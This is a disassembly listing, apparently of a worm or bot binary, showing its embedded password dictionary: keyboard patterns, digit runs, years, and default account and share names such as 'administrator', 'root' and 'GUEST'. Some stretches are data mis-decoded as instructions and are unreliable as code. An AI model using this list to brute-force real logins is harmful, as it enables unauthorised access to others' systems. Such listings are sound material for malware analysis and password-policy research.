		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset off_42D59C
		dd offset aZimmerman	; "zimmerman"
		dd offset dword_42D58C
		dd offset dword_42D588
		dd offset dword_42D584
		dd offset dword_42D580
		dd offset dword_42D578
		dd offset dword_42D570
		dd offset dword_42D568
		dd offset dword_42D55C
		dd offset loc_42218F+1
		dd offset dword_42D558
		dd offset off_42D554
		dd offset a@_6		; "@"
		dd offset a@@		; "@@"
		dd offset asc_42D548	; "+"
		dd offset asc_42D544	; "++"
		dd offset asc_42D540	; "+++"
		dd offset asc_42D538	; "++++"
		dd offset asc_42D534	; "-"
		dd offset asc_42D530	; "--"
		dd offset asc_42D530	; "--"
		dd offset asc_42D528	; "----"
		dd offset asc_42D524	; "-+"
		dd offset asc_42D51C	; "--++"
		dd offset a0		; "=-0"
		dd offset a789_0	; "789+"
		dd offset a456_0	; "456+"
		dd offset asc_42D504	; "$"
		dd offset asc_42D500	; "$$"
		dd offset asc_42D4FC	; "$$$"
		dd offset a@_5		; "*&^%$#@!"
		dd offset a@_4		; "&^%$#@!"
		dd offset a@_3		; "^%$#@!"
		dd offset a@_2		; "%$#@!"
		dd offset a@_1		; "$#@!"
		dd offset a@_0		; "#@!"
		dd offset a@		; "@!"
		dd offset dword_4221A4
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a00000000	; "00000000"
		dd offset a000000000	; "000000000"
		dd offset a0000000000	; "0000000000"
		dd offset asc_4253F8	; "*"
		dd offset asc_42D4AC	; "**"
		dd offset asc_42D4A8	; "***"
		dd offset asc_42D4A0	; "****"
		dd offset asc_42D498	; "*****"
		dd offset asc_42D490	; "******"
		dd offset asc_42D488	; "*******"
		dd offset asc_42D47C	; "********"
		dd offset asc_42D470	; "*********"
		dd offset a001		; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005		; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4_0		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5_0		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a555555555	; "555555555"
		dd offset a5555555555	; "5555555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a666666666	; "666666666"
		dd offset a6666666666	; "6666666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a777777777	; "777777777"
		dd offset a7777777777	; "7777777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888	; "88888888"
		dd offset a888888888	; "888888888"
		dd offset a8888888888	; "8888888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset a99999999	; "99999999"
		dd offset a999999999	; "999999999"
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456		; "456"
		dd offset a654		; "654"
		dd offset a789		; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		db 2 dup(0D0h)
; ---------------------------------------------------------------------------


loc_42C402:				; CODE XREF: seg001:0042C430j
		inc	edx
		add	al, cl
		rol	byte ptr [edx+0], 1
		rcl	al, 42h
		add	[eax-4FFFBD30h], bh
		rol	byte ptr [edx+0], 1
		test	al, 0D0h
		inc	edx
		add	[eax-67FFBD30h], ah
		rol	byte ptr [edx+0], 1
		nop
		rol	byte ptr [edx+0], 1
		mov	al, dl
		inc	edx
		add	[eax+780042D0h], al
		rol	byte ptr [edx+0], 1
		jo	short loc_42C402
		inc	edx
		add	[eax-30h], ch
		inc	edx
		add	[eax-30h], ah
		inc	edx
		add	[eax-30h], bl
		inc	edx
		add	[eax-30h], dl
		inc	edx
		add	[eax-30h], cl
		inc	edx
		add	[eax-30h], al
		inc	edx
		add	[eax], bh
		rol	byte ptr [edx+0], 1
		xor	al, dl
		inc	edx
		add	[eax], ch
		rol	byte ptr [edx+0], 1
		and	al, dl
		inc	edx
		add	[eax], bl
		rol	byte ptr [edx+0], 1
		adc	al, dl
		inc	edx
		add	[eax], cl
		rol	byte ptr [edx+0], 1
		add	al, dl
		inc	edx
		add	al, bh
; ---------------------------------------------------------------------------
		db 0CFh, 42h, 0
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset a2006		; "2006"
		dd offset a2600		; "2600"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a7654321	; "7654321"
		dd offset aSony		; "sony"
		dd offset aSamsung_0	; "SAMSUNG"
		dd offset aSamsung	; "samsung"
		dd offset aSony_0	; "SONY"
		dd offset aMaster_0	; "MASTER"
		dd offset aMicrosoft	; "MICROSOFT"
		dd offset aDisc_0	; "DISC"
		dd offset aCreative	; "CREATIVE"
		dd offset off_42CEC8
		dd offset aNokia	; "NOKIA"
		dd offset aXp		; "XP"
		dd offset dword_430F74
		dd offset aAa		; "aa"
		dd offset off_430F70
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aAaaaaa	; "aaaaaa"
		dd offset aAaaaaaa	; "aaaaaaa"
		dd offset aAaaaaaaa	; "aaaaaaaa"
		dd offset aAaaaaaaaa	; "aaaaaaaaa"
		dd offset aPassword_0	; "Password"
		dd offset aPassword1	; "password1"
		dd offset dword_42CE68
		dd offset off_42CE64
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aQwertyu	; "qwertyu"
		dd offset aQwertyui	; "qwertyui"
		dd offset aQwertyuio	; "qwertyuio"
		dd offset aQwertyuiop	; "qwertyuiop"
		dd offset aRoot		; "root"
		dd offset aServer_0	; "server"
		dd offset aService	; "service"
		dd offset aServers	; "servers"
		dd offset aServices	; "services"
		dd offset aSystem	; "system"
		dd offset aSystem_0	; "SYSTEM"
		dd offset off_42CE10
		dd offset off_42CE0C
		dd offset off_42CE08
		dd offset aTiger	; "tiger"
		dd offset off_42CE04
		dd offset aToyota	; "TOYOTA"
		dd offset aToyota_0	; "toyota"
		dd offset asc_430E00	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset aXyz		; "xyz"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aKonyang	; "konyang"
		dd offset dword_42CDF0
		dd offset dword_42CDEC
		dd offset off_42CDE8
		dd offset aZxcv		; "zxcv"
		dd offset aZxcvb	; "zxcvb"
		dd offset aZxcvbn	; "zxcvbn"
		dd offset aZxcvbnm	; "zxcvbnm"
		dd offset aAs		; "as"
		dd offset off_42D88C
		dd offset aAsdf		; "asdf"
		dd offset aAsdfg	; "asdfg"
		dd offset aAsdfgh	; "asdfgh"
		dd offset aAsdfghj	; "asdfghj"
		dd offset aAsdfghjk	; "asdfghjk"
		dd offset aAsdfghjkl	; "asdfghjkl"
		dd offset dword_42CD98
		dd offset dword_42CD94
		dd offset off_42CD90
		dd offset dword_42CD8C
		dd offset dword_42CD88
		dd offset dword_42CD84
		dd offset off_42CD80
		dd offset aBbbb		; "bbbb"
		dd offset aBbbbb	; "bbbbb"
		dd offset aBbbbbb	; "bbbbbb"
		dd offset aBbbbbbb	; "bbbbbbb"
		dd offset aBbbbbbbb	; "bbbbbbbb"
		dd offset aBbbbbbbbb	; "bbbbbbbbb"
		dd offset dword_42CD44
		dd offset dword_42CD40
		dd offset off_42CD3C
		dd offset aCccc_0	; "cccc"
		dd offset aCcccc	; "ccccc"
		dd offset aCccccc	; "cccccc"
		dd offset aCcccccc	; "ccccccc"
		dd offset aCccccccc	; "cccccccc"
		dd offset aCcccccccc	; "ccccccccc"
		dd offset dword_42CD00
		dd offset dword_42CCFC
		dd offset off_42CCF8
		dd offset aDddd		; "dddd"
		dd offset aDdddd	; "ddddd"
		dd offset dword_42CCE4
		dd offset dword_42CCE0
		dd offset off_42CCDC
		dd offset aFfff		; "ffff"
		dd offset aFffff	; "fffff"
		dd offset dword_42CCC8
		dd offset dword_42CCC4
; ---------------------------------------------------------------------------
		ror	ah, 42h
		add	[eax-4FFFBD34h], bh
		int	3		; Trap to Debugger
		inc	edx
		add	[eax-5BFFBD34h], ch
		int	3		; Trap to Debugger
		inc	edx
		add	[eax-63FFBD34h], ah
		int	3		; Trap to Debugger
		inc	edx
		add	[esp+ecx*8-3373FFBEh], dl
		inc	edx
		add	[esp+ecx*8-337FFFBEh], al
		inc	edx
		add	[esp+ecx*8+42h], bh
		add	[eax-34h], bh
		inc	edx
		add	[eax-34h], dh
		inc	edx
		add	[eax-34h], ch
		inc	edx
		add	[eax-34h], ah
		inc	edx
		add	[esp+ecx*8+42h], bl
		add	[eax-34h], bl
		inc	edx
		add	[esp+ecx*8+42h], dl
		add	[esp+ecx*8+42h], cl
		add	[esp+ecx*8+42h], al
		add	[esp+ecx*8], bh
		inc	edx
		add	[eax], bh
		int	3		; Trap to Debugger
		inc	edx
		add	[esp+ecx*8], dh
		inc	edx
		add	[eax], dh
		int	3		; Trap to Debugger
		inc	edx
		add	[eax], ch
		int	3		; Trap to Debugger
		inc	edx
		add	[eax], ah
		int	3		; Trap to Debugger
		inc	edx
		add	[eax], bl
		int	3		; Trap to Debugger
		inc	edx
		add	[esp+ecx*8], dl
		inc	edx
		add	[eax], dl
		int	3		; Trap to Debugger
		inc	edx
		add	[esp+ecx*8], cl
		inc	edx
		add	[esp+ecx*8], al
		inc	edx
		add	ah, bh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, dh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, dh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, ch
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, ch
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, ah
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, bl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, dl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, cl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, cl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, al
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+ecx*8-344BFFBEh], bh
		inc	edx
		add	[ebx+ecx*8-3457FFBEh], ch
		inc	edx
		add	[ebx+ecx*8-345FFFBEh], ah
		inc	edx
		add	[eax-6FFFBD35h], bl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax-7BFFBD35h], cl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax+7C0042CBh], al
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+ecx*8+42h], dh
		add	[ebx+ecx*8+42h], ch
		add	[ebx+ecx*8+42h], ah
		add	[eax-35h], ah
		inc	edx
		add	[ebx+ecx*8+42h], bl
		add	[eax-35h], bl
		inc	edx
		add	[eax-35h], dl
		inc	edx
		add	[eax-35h], cl
		inc	edx
		add	[eax-35h], al
		inc	edx
		add	[ebx+ecx*8], bh
		inc	edx
		add	[eax], bh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+ecx*8], dh
		inc	edx
		add	[ebx+ecx*8], ch
		inc	edx
		add	[ebx+ecx*8], ah
		inc	edx
		add	[ebx+ecx*8], bl
		inc	edx
		add	[eax], bl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+ecx*8], dl
		inc	edx
		add	[eax], dl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], cl
		retf
; ---------------------------------------------------------------------------
		dw 42h
		dd offset aSssss	; "sssss"
; ---------------------------------------------------------------------------
		clc
		retf	42h
; ---------------------------------------------------------------------------
		dd offset dword_42CAF4
		dd offset dword_42CAF0
		dd offset off_42CAEC
		dd offset aTttt		; "tttt"
; ---------------------------------------------------------------------------
		fmul	st(2), st
		inc	edx
		add	ah, dl
		retf	42h
; ---------------------------------------------------------------------------
		ror	dl, 1
		inc	edx
		add	ah, cl
		retf	42h
; ---------------------------------------------------------------------------
		db 0C8h	; È
		db 0CAh	; Ê
		db  42h	; B
		db    0
		db 0C0h	; À
		db 0CAh	; Ê
		db  42h	; B
		db    0
		db 0B8h	; ¸
		db 0CAh	; Ê
		db  42h	; B
		db    0
		db 0B0h	; °
		db 0CAh	; Ê
		db  42h	; B
		db    0
; ---------------------------------------------------------------------------
		lodsb
		retf	42h
; ---------------------------------------------------------------------------
		test	al, 0CAh
		inc	edx
		add	[edx+ecx*8-3563FFBEh], ah
		inc	edx
		add	[edx+ecx*8-3573FFBEh], dl
		inc	edx
		add	[eax-7BFFBD36h], cl
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aWww		; "www"
		dd offset aWwww		; "wwww"
		dd offset aWwwww	; "wwwww"
; ---------------------------------------------------------------------------
		push	640042CAh
		retf	42h
; ---------------------------------------------------------------------------
		pusha
		retf	42h
; ---------------------------------------------------------------------------
		pop	esp
		retf	42h
; ---------------------------------------------------------------------------
		push	esp
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aQqqqq	; "qqqqq"
		dd offset aQqqqqq	; "qqqqqq"
		dd offset dword_42CDF0
; ---------------------------------------------------------------------------
		inc	eax
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		dd offset aXxyyzz	; "xxyyzz"
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
		dd offset aQqww		; "qqww"
		dd offset aZzzxxxccc	; "zzzxxxccc"
		dd offset aAaasssddd	; "aaasssddd"
		dd offset aQqqwwweee	; "qqqwwweee"
		dd offset aQqwwee	; "qqwwee"
		dd offset aAassdd	; "aassdd"
		dd offset aZzxxcc	; "zzxxcc"
		dd offset a1qaz		; "1qaz"
		dd offset a2wsx		; "2wsx"
		dd offset a2qaz		; "2qaz"
		dd offset a3edc		; "3edc"
		dd offset a3wsx		; "3wsx"
		dd offset a112233	; "112233"
		dd offset off_42C994
		dd offset aMnbv		; "mnbv"
		dd offset a2486		; "2486"
		dd offset a2684		; "2684"
		dd offset a13579	; "13579"
		dd offset a753159	; "753159"
		dd offset a159357	; "159357"
		dd offset a951753	; "951753"
		dd offset a753951	; "753951"
		dd offset a142536	; "142536"
		dd offset aSystem	; "system"
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset off_431200
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset off_431180
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset byte_438A10
		align 8
dword_42C948	dd 10h							; sub_40CC09+B5Dr ...
a142536		db '142536',0           ; DATA XREF: seg001:0042C8C8o
		align 4
a753951		db '753951',0           ; DATA XREF: seg001:0042C8C4o
		align 4
a951753		db '951753',0           ; DATA XREF: seg001:0042C8C0o
		align 4
a159357		db '159357',0           ; DATA XREF: seg001:0042C8BCo
		align 4
a753159		db '753159',0           ; DATA XREF: seg001:0042C8B8o
		align 4
a13579		db '13579',0            ; DATA XREF: seg001:0042C8B4o
		align 4
a2684		db '2684',0             ; DATA XREF: seg001:0042C8B0o
		align 4
a2486		db '2486',0             ; DATA XREF: seg001:0042C8ACo
		align 4
aMnbv		db 'mnbv',0             ; DATA XREF: seg001:0042C8A8o
		align 4
off_42C994	dd offset byte_626E6D	; DATA XREF: seg001:0042C8A4o
a112233		db '112233',0           ; DATA XREF: seg001:0042C8A0o
		align 10h
a3wsx		db '3wsx',0             ; DATA XREF: seg001:0042C89Co
		align 4
a3edc		db '3edc',0             ; DATA XREF: seg001:0042C898o
		align 10h
a2qaz		db '2qaz',0             ; DATA XREF: seg001:0042C894o
		align 4
a2wsx		db '2wsx',0             ; DATA XREF: seg001:0042C890o
		align 10h
a1qaz		db '1qaz',0             ; DATA XREF: seg001:0042C88Co
		align 4
aZzxxcc		db 'zzxxcc',0           ; DATA XREF: seg001:0042C888o
		align 10h
aAassdd		db 'aassdd',0           ; DATA XREF: seg001:0042C884o
		align 4
aQqwwee		db 'qqwwee',0           ; DATA XREF: seg001:0042C880o
		align 10h
aQqqwwweee	db 'qqqwwweee',0        ; DATA XREF: seg001:0042C87Co
		align 4
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: seg001:0042C878o
		align 4
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: seg001:0042C874o
		align 4
aQqww		db 'qqww',0             ; DATA XREF: seg001:0042C870o
		align 4
aAass		db 'aass',0             ; DATA XREF: seg001:0042C86Co
		align 4
aZzxx		db 'zzxx',0             ; DATA XREF: seg001:0042C868o
		align 4
aXxyyzz		db 'xxyyzz',0           ; DATA XREF: seg001:0042C864o
		align 4
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: seg001:0042C860o
		align 4
aZzzzz		db 'zzzzz',0            ; DATA XREF: seg001:0042C85Co
		align 4
aZzzz		db 'zzzz',0             ; DATA XREF: seg001:0042C858o
		align 4
aZzz		db 'zzz',0              ; DATA XREF: seg001:0042C854o
aZz		db 'zz',0
		align 4
aQqqqqq		db 'qqqqqq',0           ; DATA XREF: seg001:0042C848o
		align 4
aQqqqq		db 'qqqqq',0            ; DATA XREF: seg001:0042C844o
		align 4
aQqqq		db 'qqqq',0
		align 4
		dd offset byte_717171
		dd 7171h, 71h, 77777777h, 7777h
aWwwww		db 'wwwww',0            ; DATA XREF: seg001:0042C82Co
		align 4
aWwww		db 'wwww',0             ; DATA XREF: seg001:0042C828o
		align 10h
aWww		db 'www',0              ; DATA XREF: seg001:0042C824o
aWw		db 'ww',0
		align 4
aW_0:
		unicode	0, <w>,0
aVvvvvv		db 'vvvvvv',0
		align 4
aVvvvv		db 'vvvvv',0
		align 4
aVvvv		db 'vvvv',0
		align 4
aVvv		db 'vvv',0              ; DATA XREF: sub_40CC09+2367o
aVv		db 'vv',0
		align 4
aV:
		unicode	0, <v>,0
aYyyyyy		db 'yyyyyy',0
		align 4
aYyyyy		db 'yyyyy',0
		align 10h
aYyyy		db 'yyyy',0
		align 4
aYyy		db 'yyy',0
aYy		db 'yy',0
		align 10h
aY:
		unicode	0, <y>,0
aTttttt		db 'tttttt',0
		align 4
aTtttt		db 'ttttt',0
		align 4
aTttt		db 'tttt',0             ; DATA XREF: seg001:0042C7E0o
		align 4
off_42CAEC	dd offset dword_747474	; DATA XREF: seg001:0042C7DCo
dword_42CAF0	dd 7474h	dword_42CAF4	dd 74h,	73737373h, 7373haSssss		db 'sssss',0            ; DATA XREF: seg001:0042C7CCo
		align 4
aSsss		db 'ssss',0
		align 10h
		dd offset byte_737373
		dd 7373h, 73h, 75757575h, 7575h, 75757575h, 75h, 75757575h
		dd 0
		dd offset byte_757575
		dd 7575h, 75h, 70707070h, 7070h, 70707070h, 70h, 70707070h
		dd 0
		dd offset dword_707070
		dd 7070h, 70h, 6F6F6F6Fh, 6F6Fh, 6F6F6F6Fh, 6Fh, 6F6F6F6Fh
		dd 0
		dd offset byte_6F6F6F
		dd 6F6Fh, 6Fh, 6E6E6E6Eh, 6E6Eh, 6E6E6E6Eh, 6Eh, 6E6E6E6Eh
		dd 0
		dd offset word_6E6E6E
		dd 6E6Eh, 6Eh, 6D6D6D6Dh, 6D6Dh, 6D6D6D6Dh, 6Dh, 6D6D6D6Dh
		dd 0
		dd offset byte_6D6D6D
		dd 6D6Dh, 6Dh, 6C6C6C6Ch, 6C6Ch, 6C6C6C6Ch, 6Ch, 6C6C6C6Ch
		dd 0
		dd offset dword_6C6C6C
		dd 6C6Ch, 6Ch, 6B6B6B6Bh, 6B6Bh, 6B6B6B6Bh, 6Bh, 6B6B6B6Bh
		dd 0
		dd offset byte_6B6B6B
		dd 6B6Bh, 6Bh, 6A6A6A6Ah, 6A6Ah, 6A6A6A6Ah, 6Ah, 6A6A6A6Ah
		dd 0
		dd offset word_6A6A6A
		dd 6A6Ah, 6Ah, 69696969h, 6969h, 69696969h, 69h, 69696969h
		dd 0
		dd offset byte_696969
		dd 6969h, 69h, 68686868h, 6868h, 68686868h, 68h, 68686868h
		dd 0
		dd offset dword_686868
		dd 6868h, 68h, 67676767h, 6767h, 67676767h, 67h, 67676767h
		dd 0
		dd offset byte_676767
		dd 6767h, 67h, 65656565h, 6565h, 65656565h, 65h, 65656565h
		dd 0
		dd offset byte_656565
dword_42CCC4	dd 6565h	dword_42CCC8	dd 65h		aFffff		db 'fffff',0            ; DATA XREF: seg001:0042C698o
		align 4
aFfff		db 'ffff',0             ; DATA XREF: seg001:0042C694o
		align 4
off_42CCDC	dd offset word_666666	; DATA XREF: seg001:0042C690o
dword_42CCE0	dd 6666h	dword_42CCE4	dd 66h		aDdddd		db 'ddddd',0            ; DATA XREF: seg001:0042C684o
		align 10h
aDddd		db 'dddd',0             ; DATA XREF: seg001:0042C680o
		align 4
off_42CCF8	dd offset dword_646464	; DATA XREF: seg001:0042C67Co
dword_42CCFC	dd 6464h	dword_42CD00	dd 64h		aCcccccccc	db 'ccccccccc',0        ; DATA XREF: seg001:0042C670o
		align 10h
aCccccccc	db 'cccccccc',0         ; DATA XREF: seg001:0042C66Co
		align 4
aCcccccc	db 'ccccccc',0          ; DATA XREF: seg001:0042C668o
aCccccc		db 'cccccc',0           ; DATA XREF: seg001:0042C664o
		align 4
aCcccc		db 'ccccc',0            ; DATA XREF: seg001:0042C660o
		align 4
aCccc_0		db 'cccc',0             ; DATA XREF: seg001:0042C65Co
		align 4
off_42CD3C	dd offset byte_636363	; DATA XREF: seg001:0042C658o
dword_42CD40	dd 6363h	dword_42CD44	dd 63h		aBbbbbbbbb	db 'bbbbbbbbb',0        ; DATA XREF: seg001:0042C64Co
		align 4
aBbbbbbbb	db 'bbbbbbbb',0         ; DATA XREF: seg001:0042C648o
		align 10h
aBbbbbbb	db 'bbbbbbb',0          ; DATA XREF: seg001:0042C644o
aBbbbbb		db 'bbbbbb',0           ; DATA XREF: seg001:0042C640o
		align 10h
aBbbbb		db 'bbbbb',0            ; DATA XREF: seg001:0042C63Co
		align 4
aBbbb		db 'bbbb',0             ; DATA XREF: seg001:0042C638o
		align 10h
off_42CD80	dd offset word_626262	; DATA XREF: seg001:0042C634o
dword_42CD84	dd 6262h	dword_42CD88	dd 62h		dword_42CD8C	dd 766672h	off_42CD90	dd offset byte_636465	; DATA XREF: seg001:0042C624o
dword_42CD94	dd 787377h	dword_42CD98	dd 7A6171h	aAsdfghjkl	db 'asdfghjkl',0        ; DATA XREF: seg001:0042C618o
		align 4
aAsdfghjk	db 'asdfghjk',0         ; DATA XREF: seg001:0042C614o
		align 4
aAsdfghj	db 'asdfghj',0          ; DATA XREF: seg001:0042C610o
aAsdfgh		db 'asdfgh',0           ; DATA XREF: seg001:0042C60Co
		align 4
aAsdfg		db 'asdfg',0            ; DATA XREF: seg001:0042C608o
		align 4
aAs		db 'as',0               ; DATA XREF: seg001:0042C5FCo
		align 10h
aZxcvbnm	db 'zxcvbnm',0          ; DATA XREF: seg001:0042C5F8o
aZxcvbn		db 'zxcvbn',0           ; DATA XREF: seg001:0042C5F4o
		align 10h
aZxcvb		db 'zxcvb',0            ; DATA XREF: seg001:0042C5F0o
		align 4
off_42CDE8	dd offset word_63787A	; DATA XREF: seg001:0042C5E8o
dword_42CDEC	dd 787Ah	dword_42CDF0	dd 7Ah							; seg001:0042C84Co
aKonyang	db 'konyang',0          ; DATA XREF: seg001:0042C5DCo
aToyota		db 'TOYOTA',0           ; DATA XREF: seg001:0042C5A4o
		align 4
off_42CE04	dd offset byte_524F4B	; DATA XREF: seg001:0042C5A0o
off_42CE08	dd offset byte_726F6B	; DATA XREF: seg001:0042C598o
off_42CE0C	dd offset byte_696863	; DATA XREF: seg001:0042C594o
off_42CE10	dd offset byte_494843	; DATA XREF: seg001:0042C590o
aSystem		db 'system',0           ; DATA XREF: seg001:0042C588o
					; seg001:0042C8CCo
		align 4
aServices	db 'services',0         ; DATA XREF: seg001:0042C584o
		align 4
aServers	db 'servers',0          ; DATA XREF: seg001:0042C580o
aServer_0	db 'server',0           ; DATA XREF: seg001:0042C578o
		align 4
aQwertyuiop	db 'qwertyuiop',0       ; DATA XREF: seg001:0042C570o
		align 4
aQwertyuio	db 'qwertyuio',0        ; DATA XREF: seg001:0042C56Co
		align 10h
aQwertyui	db 'qwertyui',0         ; DATA XREF: seg001:0042C568o
		align 4
